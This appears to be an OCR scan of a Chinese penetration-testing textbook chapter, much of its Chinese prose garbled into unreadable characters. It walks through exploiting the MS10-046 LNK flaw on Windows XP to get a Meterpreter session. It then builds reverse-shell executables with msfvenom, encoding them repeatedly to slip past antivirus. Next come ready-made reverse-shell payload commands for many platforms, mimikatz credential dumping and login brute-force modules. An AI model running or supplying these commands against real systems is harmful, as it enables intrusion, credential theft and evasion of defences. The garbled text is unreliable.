St v B L i 69 35, SRAVA AT E R T A9 AR T dm it AdE EARE
T, MEHRTUERE., £ EFRR, B84 THE 3. 3.1.36 A7

:}.{\

root@kali: ~

Xt IhfF RiE EF EE

sf6 > search msl10-046

Matching Modules

# Name Disclosure Date
ank Check Description

exploit/windows/browser/ms1@_046_shortcut_icon_dllloader 2010-07-16
ent No Microsoft Windows Shell LNK Code Execution

1 exploit/windows/fileformat/ms15_020_shortcut_icon_dllloader 2015-03-10
xcellent No Microsoft Windows Shell LNK Code Execution

2 exploit/windows/smb/ms10_046_shortcut_icon_dllloader 2010-07-16

Llent No Microsoft Windows Shell LNK Code Execution

3 exploit/windows/smb/ms15_020_shortcut_icon_dllloader 2015-03-10
xcellent No Microsoft Windows Shell LNK Code Execution

Interact wit odule by name or index. For example info 3
| b/ ¢ ) _dllloader

msf6 > use @
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( IR |

/) 3.3.1.36 Atk
X ¥ 2k 1A% H 69 payload & windows/meterpreter/reverse tcp,
RMRIFBONRT, REEASK, FRE IP, ZRXZRLE R
AP, B A RAERN P ERIRG RAEZLAL IPIFF], PTATRRE
BiXE, —ZZAHWNA.
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BEMESE (o)

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host or network interface to listen on, This mus
t be an address on the local machine or ©.0.0.0 to listen on all addresses.

SRVPORT 80 The daemon port to listen on (do not change)

SSLCert no Path to a custom SSL certificate (default is randomly gene
rated)

UNCHOST no The host portion of the UNC path to provide to clients (ex
1230

URIPATH / yes The URI to use (do not change).

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.202.133 |yes The listen address (an interface may be specified)
LPORT Labl yes The listen port

Exploit target:
Id Name

Automatic

msf6 exploit( ) 3 set srvhost 192.168.202.133
srvhost = 192.168.202.133

K 3.3.1.37 =& 5%

P VAREEFEZERE WAk B 3.3.1.38 BT, 1w R A&
M AL A http://192.168.202. 133/123. Ink, & A
http://192.168.202. 133:80/, sLiF .42 42 T~ Server started X k&

REC 2R, TUALERLE EZMIFTFE:

msf6 exploit( ) > set srvhost 192.168.202.133
srvhost = 192.168.202.133
msf6 exploit( ) > run

Exploit running as background job 1.

Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.202.133:4444
nsfb exploit( ) > Send vulnerable clients to |
\192.168.202.133\0MoUrva\.

Or, get clients to save and render the icon of http://<your host>/<anything>.1lnk

Using URL: http://192.168.202.133:80/

Server started.

B 3.3.1.38 )5 http RH A LA F IR %

FAVE B AR EAUF B X ANE3E: http://192. 168.202.133:80/, 4»=
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‘ BEMEBE

A 3.3.1.39, B 3.3.1.40 Fiw, SLATHFMAL, AREHRLRTHF

N 3 http://192, 168, 202,133/ — Macrosoft Internet
x,{éﬁ%i&iﬂ: o  WHE @E FEQ KE® TRO MBI
S 0m-Q HNRG L@ 3 LES

1044 0[] oo /7152 168, 202, 153/

B 3.3.1.39 477F Wik

B 3.3.1.40 pkét 3|3

HE, KRG B AMIE R LT Wit ElZE T —/ session &5,

4o 3.3.1. 41 P

5 69 T



BEMESE (o)

192.168.202.136 msl1l0_046_shortcut_icon_dllloader Sending directory multistatus for /OMoUrv
a/ ...
192.168.202.136 msl1l@_046_shortcut_icon_dllloader Sending LNK file
192.168.202.136 ms1@_046_shortcut_icon_dllloader Received WebDAV PROPFIND request for /OMo
Urva/LyfpUoSR.dl1l.manifest

192.168.202.136 ms1@_046_shortcut_icon_dllloader - Sending 404 for /OMoUrva/LyfpUoSR.dll.man
ifest ...

192.168.202.136 ms1@_046_shortcut_icon_dllloader - Sending DLL payload

192.168.202.136 msl1l0@_046_shortcut_icon_dllloader Received WebDAV PROPFIND request for /OMo
Urva/LyfpUoSR.d11.123.Manifest

192.168.202.136 msl1l@_046_shortcut_icon_dllloader Sending 404 for /OMoUrva/LyfpUoSR.dll.123
.Manifest ...

Sending stage (175174 bytes) to 192.168.202.136

Meterpreter session 1 opened|(192.168.202.133:4444 — 192.168.202.136:1087) at 2021-02-02 00:
56:53 +0800

E 3.3.1.41 m3h 4% session
#£ A8 1L sessions - i 144 k3 session 1, AmdTIF

meterpreter, A S N\ sysinfo & A4z &, 4 3.3.1.42 pF

— msf6 exploit( ) > sessions -i 1
BT Starting interaction with 1...

meterpreter > sysinfo
Computer ¢ XP-F2790B46BC5C

0s : Windows XP (5.1 Build 2600, Service Pack 3).

Architecture : x86

System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > |

B 3.3.1.42 R IHI7IF meterpreter & F T MIE &

BRI T 2 B AR AL S E S E

% T session fi##¥: session K&k &5, AR EIEXNHEE
BT 3NN AR LR 3 N2 iE, Lt R BEBIeH] % — /)
AN, AR R E B H N sessions - i 2, (sessions - i
<{sessionID>, &k 5 : 3| AT sessionlD 89 & 3EF ) BP9 3t

NGB NN EETF, IANAERZ RS K69 meterpreter, R

J5 i8 it meterpreter S AN B AN A IR TIEH] T o
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 REITFIE A AN, AEXEIGRREE S 5 R
TR IR EIE,

BE—HAEAFERE-ANFHZLR, LK low T, RALH
EERAT—TRAGHR, thde B —AF2F A, CHHRKLZATI
G2 Mok, ARG B &AL T onil ARIEFEF 3K — KL EBIT F 69 F 5
THE, KRB A -AFAKAEYE, REEHFIF: “BAMA
MEET—AFREIE, THEIFAG, EXRRMEKX? 7, TR
FNEERARG NGNS R, FLERA RS, Sheacd
JEIEAT AYBHAR K AR ATIT T, BRI AAT I T Mk, REIAA R4
HaTATG S ERE, REXAHEE T, Rt bET, B
LR AEH TR, LEZETUBILS AITFHELE
AFHXHARET D, X THRRERRANT —TF, BREZEUHE
B RATHRsE, RATRSHIARERE, RELRL. FTEEXE

INZAF AL A R IRF B 0,

HIRAETEIAHR: EHETOH AL T windows xp #9324,

FRARSL R L FRAEFIRG AT —/NZ AR RS RIF,
OIEIA wWin10 Z2FDAR AT linux 7 £ 49 & AP 1R1E 7 S8R 1R
%R, thhe RN EEHE—T linux 2A4HXH —RE, BN

e 55—
7
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root@kali:~

X ifF B &8 B

6-07 excellent Yes ZPanel zsudo Local Privilege Escalation Exploit
295 exploit/Linux/misc/accellion_fta_mpipe2
2-07 excellent No Accellion FTA MPIPE2 Command Execution
296 t/llnux/mlsc/aerosplke database_udf_cmd_exec
Tl : Yes Aerospike Database UDF Lua Code Execution
297 exp101t/11nux/m15c/asus infosvr_auth_bypass_exec
1-04 excellent No ASUS infosvr Auth Bypass Command Execution
298 exploit/Linux/misc/cve_2020_13160_anydesk
6-16 normal Yes AnyDesk GUI Format String Write
299 exploit/Linux/misc/gld_postfix
4-12 good No GLD (Greylisting Daemon) Postfix Buffer Overflow
300 exploit/Linux/misc/hid_discoveryd_command_blink_on_unauth_rce
3=28 excellent Yes HID discoveryd command_blink_on Unauthenticated RCE
301 exploit/LinuX/misc/hikvision_rtsp_bof
1=19 normal No Hikvision DVR RTSP Request Remote Code Execution
302 exploit/Linux/misc/hp_data_protector_cmd_exec
2-07 > 1lent No HP Data Protector 6 EXEC_CMD Remote Code Execution
303 exploit/linux/misc/hp_jetdirect_path_traversal
4-05 normal No HP Jetdirect Path Traversal Arbitrary Code Execution
304 exploit/Linux/misc/hp_nnmi_pmd_bof
9-09 normal Yes HP Network Node Manager I PMD Buffer Overflow
305 exploit/Linux/misc/hp_vsa_login_bof
6-28 normal Yes HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Ovel
306 exploit/linux/misc/hplip hpssd_exec
0-04 excellent No HPLIP hpssd.py From Address Arbitrary Command Execution
307 exp101t/11nux/mlsc/1b inet_connect
0-03 good No Borland InterBase INET connect() Buffer Overflow
308 exploit/Linux/misc/ib_jrd8_create_database
0-03 good No Borland InterBase jrd8_create_database() Buffer Overflow
309 exploit/Linux/misc/ib_open_marker_file

B 3.3.1.43 |inux BRA FE

2. REITFEALF A

AR PR KA LT T, RAEANZEHTHRE AL E
— s B Rk, AATT AR R G, i@ ARA R B — L a7

3. FI R AR AT 45 B R4S ANR R

W)

L fim b s sk RTE 2B AN, —22RANEE, RS0
W AEATVAR RARYE ) B 4255 R I # RGP VAR R R A3
L AN b T
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(=) EEMEHE

3.3.2 BIMKRG

b —T P EABLINRF R @ K EMEE T B E R ATA]
2 SRRRG, AP RMNKAAMNKRER AR LA T A
F, REBEXNEF LI RFAF R, IMRBEMFEEIMNE
B AR EAMBAT E R O AMNBARA BT, AFETTRD,
TR A Bl AR AN AR RARE AR A AR A3 L. B3Ik
7. PAT ARG B MR, ARABAMT AT A TRIZE—AET]
ARGk B 2L EFHER? LARTIA!

LR A L ARG AR IEBATT LB e ik b
HHVEIF 6B A2, IRARTT AR 2= R meterpreter #£4%&, T\
AV R BAT R E T

2 & kali ZhE K#pi2 T hUR AAfE 7S XNiEdE, kali 24

P: 192.168.31.6, 32 4L IP: 192.168.31.211, =K 3.3.2.1

B 3.3.21 HEEIMNEEMMKali Z4 IP
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BEMEHE (o)
F—%: AREITRE
X2 R 369 T E 2 msfvenom, &AL A msfvenom -h &

oAz 8B 3.3.2.2 B

Xt i WiE ZE EH

mstv
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -0 payload.exe

Options:
-1, --list <type> List all modules for [type]. Types are: payloads, encoders,
nops, platforms, archs, encrypt, formats, all
-p, —payload <payload> Payload to use (--list payloads to list, --list-options for
arguments). Specify '-' or STDIN for custom
-—-list-options List --payload <value>'s standard, advanced and evasion opti

--format <format> Output format (use --list formats to list)

--encoder <encoder> The encoder to use (use --list encoders to list)

--service-name <value> The service name to use when generating a service binary

--sec-name <value> The new section name to use when generating large Windows bi
naries. Default: random 4-character alpha string

--smallest Generate the smallest possible payload using all available e
ncoders

-—encrypt <value> The type of encryption or encoding to apply to the shellcode

(use --list encrypt to list)
-—encrypt-key <value> A key to be used for --encrypt
-—encrypt-iv <value> An initialization vector for --encrypt
-a, -—arch <arch> The architecture to use for --payload and --encoders (use --

list archs to list)

--platform <platform> The platform for --payload (use --list platforms to list)

--out <path> Save the payload to a file

--bad-chars <list> Characters to avoid example: '\x@00\xff'

--nopsled <length> Prepend a nopsled of [length] size on to the payload

--pad-nops Use nopsled size specified by -n <length> as the total paylo

A& 3.3.2.2 msfvenom #3113 &

SRR PR S

BAA—TRT:

>N
\
=
3
=
2

MsfVenom — a Metasploit standalone payload generator.

MsfVenom & —A> Metasploit JE A 2k Rl AR %

Also a replacement for msfpayload and msfencode
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4% msfpayload #2 msfencode 4% AX o

S N2 F A A8 T MsfVenom = VA 52 I 4 m%, payload #= 4% it
encode %L AL F 69 )5 [ TAZ /o

-1: A3 P %k, & I payloads, encoders, nops,
platforms, archs, encrypt, formats, all, X A3y 7] %k

YR & all W AZA LI, PlheBMNER—T € L4FHEEX?

Er N4 4 : msfvenom —| formats 4=/ 3.3.2.3 A

~

formats

Framework Executable Formats [--format <value>]

Name

asp
aspx

aspx-exe

axis2

dll

elf

elf-so

exe

exe-only
exe-service
exe-small
hta-psh

jar

jsp

loop-vbs

macho

msi

msi-nouac
osx-app

psh

psh-cmd
psh-net
psh-reflection
python-reflection
vbha

vba-exe
vba-psh

vbs

war

B 3.3.2.3 -F& L HAKX
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MAGASTEC I HFYARFEFSE 4B 3.3.2.4 i

Framework Platforms [-—platform <value>]

Name

aix
android
apple ios
arista
brocade
bsd

bsdi

cisco
firefox
freebsd
hardware
hpux

irix

java
javascript
juniper
Llinux
mainframe
mikrotik
multi
netbsd
netware
nodejs
openbsd
05X

php

python

-

ruby
solaris
unifi
unix
unknown
windows

B 3.3.2.4 F6 LiFagts X
& 11 & Kk & — T A 9 % payload #= encoder, 4= A
3.3.2.5,3.3.2.6 i, X2 W T payload % %, HILiESE&EAm
t: | grep android & % & R if & A= android 48 % 49, windows

[5] 32 -
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root@kali: ~

Xt @it wE 5T #H
] ~
s f m payloads rep android
/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication ov
er HTTP
/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication ov
er HTTPS
/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over

/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over
/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager

® ~
ms T payloads grep windows

cmd/ /adduser Create a new user and add them to local administration group
. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting
the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)

cmd/ /bind_lua Listen for a connection and spawn a command shell via Lua

cmd/ /bind_perl Listen for a connection and spawn a command shell via perl (
persistent)

cmd/ /bind_perl_ipvé Listen for a connection and spawn a command shell via perl (
persistent)

emd/ /bind_ruby Continually listen for a connection and spawn a command shel
1 via Ruby

cmd/ /download_eval_vbs Downloads a file from an HTTP(S) URL and executes it as a vb
s script. Use it to stage a vbs encoded payload from a short command line.

cmd/ /download_exec_vbs Download an EXE from an HTTP(S) URL and execute it

cmd/ /generic Executes the supplied command

emd/ /powershell_bind_tcp Interacts with a powershell session on an established socket

connection
cmd/ /powershell_reverse_tcp Interacts with a powershell session on an established socket
connection

cmd/ /reverse_lua Creates an interactive shell via Lua

cmd/ /reverse_perl Creates an interactive shell via perl

cmd/ /reverse_powershell Connect back and create a command shell via Powershell

emd/ /reverse_ruby Connect back and create a command shell via Ruby

B 3.3.2.5 ¥+ payload

root@kali: ~

Xt iff WE T EE

encoder

Framework Encoders [--encoder <value>]

Name Rank Description
cmd/brace Tow Bash Brace Expansion Command Encoder

cmd/echo good Echo Command Encoder

cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs Tow Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder

cmd/powershell_base64 excellent Powershell Base64 Command Encoder
emd/printf_php_mg manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder

generic/none normal The "none" Encoder

mipsbe/byte_xori normal Byte XORi Encoder

mipsbe/longxor normal XOR Encoder

mipsle/byte_xori normal Byte XORi Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 Encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_tag normal PPC LongXOR Encoder

ruby/base6s4 great Ruby Baseb4 Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder

x64/zutto_dekiru manual Zutto Dekiru

x86/add_sub manual Add/Sub Encoder

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower

x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot

x86/calls_dword_xor normal Call+4 Dword XOR Encoder

x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder

% encoder




BEMESE (o)

Encoder & Bl k3t KA A A9 R GG M fTRAALAIE, B2
KB R A, T 89 A 2R LA AT 69X A x86/shikata_ga nai,
4 3.3.2.7 e

x86fn0n51pha_ low Non-Alpha Encoder
X86/nonupper low Non-Upper Eﬂ;oder
Xx86/opt_sub manual Sub Encoder (optimised)

2 manual Register Service
ta_ga_nail excellent | Polymorphic XOR Additive Feedback Encoder
gle_static_bit manua L Single Static Bit
icode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder

B 3.3.2.7 % encoder

—e: 18 % encoder %55 %

—i: 45 HAG IR I

-p: 4§ & pay |l oad

—f: FHE A A X

—o: R L% AE

TaRAMNABTRE, HAUTH®EL, AREITEFEE
3.3.2.8 Fi:

msfvenom —-p windows/meterpreter/reverse_tcp
lhost=192. 168. 31. 16 |port=4444 —e x86/shikata _ga nai —i 13

-f exe —o /root/dongwenlong. exe

St A A T R BT
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() ZRMMEASE

—p
windows/meterpreter/reverse

_tep

¥ = pay | oad A
windows/meterpreter/reverse

_tep

lhost=192. 168. 31. 16

| port=4444

¥ 2 2 K kali £ M

IP192.168.31.16, 3% 1 4444,
¥k Fe el it 4444 sF 0 g F)

EIXE Z K kali T4

—e x86/shikata_ga nai —i

13

15 2
x86/shikata ga nai % 4 3 #

H #4713 RS

-f exe

Kb BN XA
exe & X,

-0 /root/dongwenlong. exe

windows/meterpreter/reverse_tcp lhost=192.168.31.16 lport=4444

exe /root/dongwenlong.e
[-] No platform was selected
[-]1 No arch selected, selecting arch
Found 1 compatible encoders

g LA

¥ =
/root/dongwenlong. exe

x86/shikata_ga_nai

lodule :: Platform:: Windows from the payload
86 from the payload

ing to encode payload with 13 iterations of x86/shikata_ga_nai

ai succeeded with size 3
ceeded with size
i succeeded with size
succeeded with size
i succeeded with size
succeeded with size
i succeeded with size 5
i succeeded with size
succeeded with size
i succeeded with size 62
ucceeded with size 6
i succeeded with size 6 5
succeeded with size
i chosen with final size 705
705 bytes
Final size of exe file: 73802 bytes
Saved as: /root/dongwenlong.exe

® ~

oA 3.3.2.8 ARG IR

(iteratio
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BEMESE (o)

o LR TR ZF N3 RBAERALERT B EWOAEF, AMNE—
T /& root H & F A & dongwenlong. exe X N2 5, 4= E 3.3.2.9

P

XHF) 4REE(E) ME(V) #FB(G) #BEIH)
€ > P H = root
fii
B e
& root
- 2E
P @
& 3
o =5 = :
ddos-attack Fatrat_Generated john-1.8.0- testll
u B jumbo-1
= T
N
u
18-
B uzs TheFatRat web dongwenlong.exe john-1.8.0-
p jumbo-1.tar.gz
14 4S5z |, 10 4~32f%F: 37.0 MiB (3¢ 975 F73), "% (E]: 5.8 GiB

K 3.3.2.9 £mjE AR

&) KalilLinuxa..

=

H—F: ek

Y AR EMBAITIANL A9 AE, & 2HE P kali & 4 4444
ma, 8% kali &A% 3 At A EER? BLE R AEZR
sHA kali ZALF I B BT, BT A ABAT IAAL &3 5] 4444 5%
o,

1) # & & 3%, & msf, @ iT use #« 4 & #
exploit/multi/handler X AN Y o4 3 | 1242 3k 3 & 69 2K 1A pay | oad

5 KA A A JE 1] dongwen long. exe BH4# JFl 89 payload I~—#, Bt
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() ZRBEASE

il set A A —HE, IHFATALRTNE, A 3.3.2.10

msfconsole
msf6 > use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp
msf6 exploit( N |

B 3.3.2.10 #4F K923k & payload
2) RRESSH, RERMHFEREXRLEE IPHAXSE, AT
AW EE T LS 11425 dongwenlong. exe iZ 70T 44 £ HL K
HHEBIFR, FRELOFE P, RO FEE, HILEERA
LM E I ERNME &, LR RXEE ARG AZFIXE IP
Foip o -, BARBREAE 3.3.2.11 Fia:

msf6 exploit( ) > show options
Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse tcp):
Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST yes The listen address (an interface may be specified)
LPORT Lhhh yes The listen port

Exploit target:

Id Name

® Wildcard Target

msf6 exploit( ) >|set lhost 192.168.31.16
lhost = 192.168.31.16

B 3.3.2.11 BLE B IP ik fein o

LB, BTk B4R 4444, BN —H, B RE B
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REME

we B\

B, AR LERKB B QBN A 4444, B A ARG TR F

dongwenlong. exe I 7L A& K F 69 4444 3% 0, £ 2% B K BMEAW

& S AN exploit FF4EM7, 4K 3.3.2.12 BT

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.31.16:4444

K 3.3.2.12 Fr45 57w

KAV A 2% 49 dongwenlong. exe XA N 2] T AR &, AT X
M % B4 A, PR R B AT B VT 32 2 top #4% 5118 & meterpreter,

4B 3.3.2.13 Fra:

=]
AP HEE BBV BN BIED  SRH

w EH [T kea

Xfr EMfF @WE EE WD

Name Current Setting Required Description

EXITFUNC process yes X nique (Accepted: '', seh, thread,
LHOST yes g sten address (an interface may be spe
LPORT 4444 yes The listen port

Exploit target:

Id Name

@ Wildcard Target

msf6 exploit( ) > set lhost 192.168.31.16
lhost = 192,168.31.16
msf6 exploit( ) > exploit

bt:H‘E:d rev TCP handler on 192.
s 75174 bytes) to 192
Meterpreter sion 1 opened (192.168.31.16:4444 — 192.168.31.211:34698) at 20
114 +0800

meterpreter > |Jj

B 3.3.2.13 MEBATAL R B 7T 2 5% 4%
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(o) R EH

AmBECHXGEITRE:

%7 app:
msfvenom
LHOST=192. 168. 31.

Linux:
msfvenom
LHOST=192. 168. 31.

Mac:
msfvenom
LHOST=192. 168. 31.
PHP:
msfvenom
LHOST=192. 168. 20.
ASP:
msfvenom
LHOST=192. 168. 31.
ASPX:
msfvenom

LHOST=192. 168. 31.

-p android/meterpreter/reverse_tcp

16 LPORT=8888 —o ~/Desktop/test2. apk

—-p | inux/x86/meterpreter/reverse_tcp

16 LPORT=8888 —-f elf > shell.elf

-p osx/x86/shel |l _reverse tcp

16 LPORT=8888 —f macho > shell.macho

-p php/meterpreter/reverse_tcp

27 LPORT=4444 —f raw —o test. php

-p windows/meterpreter/reverse_tcp

16 LPORT=8888 —f asp > shell. asp

-p windows/meterpreter/reverse_tcp

16 LPORT=8888 —-f aspx > shell. aspx
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B

PR

JSP:

msfvenom -p java/ jsp_shel | reverse tcp
LHOST=192. 168. 31. 16 LPORT=8888 —f raw > shell. jsp

Bash:

msfvenom —p cmd/unix/reverse_bash LHOST=192. 168.31.16
LPORT=8888 —f raw > shell. sh

Per |

msfvenom —p cmd/unix/reverse per| LHOST=192.168.31.16
LPORT=8888 —f raw > shell.pl

Python

msfvenom —-p python/meterpreter/reverser_tcp

LHOST=192. 168. 31. 16 LPORT=8888 —f raw > shell. py

X EAE—T A K4 Bomsf — 25 Fl A3k

EAGL:

background # ik meterpreter & FJ& 442 X

sessions —i number # 521537 A, number 2% n A~
session

quit # Bt 4E
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)
2
2
[
M

) R A

\

shell # /34
cat c:\\boot. ini # THIH AL
getwd # & A& L A7 T4F B & work directory

upload /root/Desktop/netcat.exe c:\\ # _E4& 43| B 4R

download Oxfa. txt /root/Desktop/ # T # 14 %| AL L
edit c:\\boot. ini # Z%F LA

search —d d:\\www —f web.config # search {f}

ps # TH L AT EKHEAL

migrate pid # J% Meterpreter 215424 2| A2 K45 pid 8934

execute -H —i —f cmd. exe # €]iZ# 342 cmd. exe, —H 7]
-i XA

getpid # R L AT A28 pid

kill pid # A it42

getuid # & H IR

sysinfo # THHARMA R L, B L, BREZLF
getsystem #RAXIEAE

timestompc:/a. doc —c¢ "10/27/2015 14:22:11" #1455 L4y
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A AR

meterpreter > ps

A 4T£# PID

meterpreter > migrate pid

iR R N

run post/windows/gather/checkvm #& % & #AHL

run post/windows/gather/enum_applications #jk I 3 %

Bl &

y.

run post/windows/gather/dump|inks #3k B g 21 &9 L AF1%4F

run post/windows/gather/enum_ie #3# I |E 4 &

run post/windows/gather/enum_chrome #3k¥X Chrome % %
run scraper #iKIUF WAZ 8

FRBUH S

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > load mimikatz

Loading extension mimikatz... success.

% 86 T1



‘&

E
#

(o) BEMEHE

meterpreter > msv

[+] Running as SYSTEM

[*] Retrieving msv credentials

meterpreter > kerberos

[+] Running as SYSTEM

[*] Retrieving kerberos credentials

meterpreter > mimikatz_command —f samdump::hashes

Ordinateur : Testing

BootKey : 8c2c8d96e92a8ccfc407a1cad48531239

meterpreter > mimikatz_command -f
sekur | sa: : searchPasswords

[0] { Croxy ; Testing ; hehe }

[1] { test ; Testing ; test }

— I GG B AR S

auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login

auxiliary/scanner/telnet/telnet_login
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B

LK
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle _login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxi |l iary/scanner/pcanywhere/pcanywhere_ login
auxiliary/scanner/snmp/snmp_login
auxi | iary/scanner/ftp/anonymous
auxiliary/admin/realvnc_41 bypass (Bypass VNCV4 ¥ L
A AR TR)
auxiliary/admin/cisco/cisco_secure_acs_bypass
auxiliary/admin/http/jboss_deploymentfilerepository (/™
1% 3] Jboss & :)
auxiliary/admin/http/dlink _dir 300 600 exec noauth (DIink
a4 PAT)
auxiliary/admin/mssql/mssql_exec (FME#kiF %49 sa 55 0 453
ritres XEg: ()

auxil iary/scanner/http/jboss_vulnscan (Jboss P M %% a94F

% 88 Tl



‘&

E
#

(o) BEMEHE

IR A
auxiliary/admin/mysql/mysql_sql (F 4815 2] 69 55 2 & 4T
sql i&54):)
auxiliary/admin/oracle/post_exploitation/win32exec (M #%
%3] Oracle 35 @ 4 Win32 4 4-3#4T)
auxiliary/admin/postgres/postgres_sql (#8415 2|49 postgres
Rl P RPAT sql & 9))

— 2T F] 69 By A

uxiliary/scanner/rsync/modules list (Rsync)
auxiliary/scanner/misc/redis_server (Redis)
auxiliary/scanner/ss|/openss| _heartbleed (< if )
auxi | iary/scanner/mongodb/mongodb_login (Mongodb)
auxiliary/scanner/elasticsearch/indices_enum
(elasticsearch)
auxiliary/scanner/http/axis_local file include (axis A X
A E,2)
auxi |l iary/scanner/http/http_put (http Put)
auxiliary/scanner/http/gitlab _user enum (GREX M gitlab A

F)
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auxiliary/scanner/http/jenkins_enum (F B A MW jenkins H
F)
auxiliary/scanner/http/svn_scanner (svn Hunter)
auxiliary/scanner/http/tomcat_mgr login (Tomcat X&#%)
auxiliary/scanner/http/zabbix_login (Zabbix )

VAE4r AP b msf BT A 409k 0 — A, msf 7] YAm# % =
WEHARY K, BRZXEREEAFmO R T, A RHGRARK

FEWEFRATUT

=1k &A1& —TF XA~ dongwenlong. exe A2 77>, 3% T I & A1 4%
ATRH T A8, AELHR 360 X FMFETAME—TAS
TUAIRA], S RARA IR IRANERmE, 0B 3.3.2.14 B

FOREHEART 1 DMSEhEE !

MREASFANRIERRE, EEE J00sERlis) REERE.

mE bl
v SRR (1)
v| C\Users\TSG-022\Desktopidongwenlong.exe [ErEEE] QVM20,1.309F.Malware.Gen

QVM20.1.309F Malware.Gen

ITHRERE  SRhHE

B 3.3.2.14 #& & FH AR
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() 2 EMEHLE

=5

AR RAARET FHERMALZFRETT? ZARAR
¥ RRT GBI f AR IEZ G LA R A R DAL R AN Shit K A 4
M, FEFHER, XEQELFMXTT FHITHRE,

K RLH—F 2 ARG T ERERE AT, S L@ R

G AT RV R LK £ 49, X EAB—AN a9 4 4 mstpe,

e B 3.3.2.15 T

Xt i @2 T EB

venom Payload Creator ( v )

<TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (
<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
Example: # Windows & manual IP.

# Linux, eth@'s IP & manual port.

# Python, stageless command prompt.

# A payload for every type, using ethl's I
P

# ALl possible Meterpreter payloads, using
WAN IP.

# Help screen, with even more information.

<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ 0SX [.macho]
+ Perl [.pl]
+ PHP

+ Powershell [.psi]

+ Python [.py]

+ Tomcat [.war]

+ Windows [.exe // .exe // .d11]

B 3.3.2.15 msfpc % 8 4%

KAVRE 2N msfpc windows 192. 168.31. 16 4444 Bp T,
32 £ windows “F &, 38 2 4F IPAesg v K EA4E 5 B 31X E payload

B, H A RAT T windows T4 &9 exe # X T HATAEF, R+

891 M



windows 192.168.31.16 4444
venom Payload Creator ( v
[i] IP: 192.168.31.16
[i] PORT: 4444

[i] TYPE: windows (windows/meterpreter/reverse_tcp)

[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \

--platform windows -a x86 -e generic/none LHOST=192.168.31.16 LPORT=4444 \
> '/root/windows-meterpreter-staged-reverse-tcp-4444.exe’

[i] File (/root/windows-meterpreter-staged-reverse-tcp-4444.exe) already exists. Overwriting ..
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-44hk.exe’

[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-4444-exe.rc'
[i] Run: msfconsole -q -r '/r00t/wind0w§—meterpreter—staged—reverse—tcp—ﬁﬁﬁh—exe.rc'
[7] Quick web server (for file transfer)7: pythonZ -m Simpl(eHTTPServer 8080

]

B 3.3.2.16 msfpc & AR JE I & BT 7k XA+
BAVRAEIR T AT EAT R AR, X F AR LA & &R &A
AT % E 2% & payload S HAe A8 K 4 4% B PATIR A 47 6L B —
NTR A, XEAMNAEER—TFTEANALE 3.3.2.17 Fx,

# [Kalil: msfdb start; msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp- -exe.rc'
#

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST

set LPORT

set ExitOnSession false

set EnableStageEncoding true

#set AutoRunScript 'post/windows/manage/migrate’
run -j

B 3.3.2.17 & KR

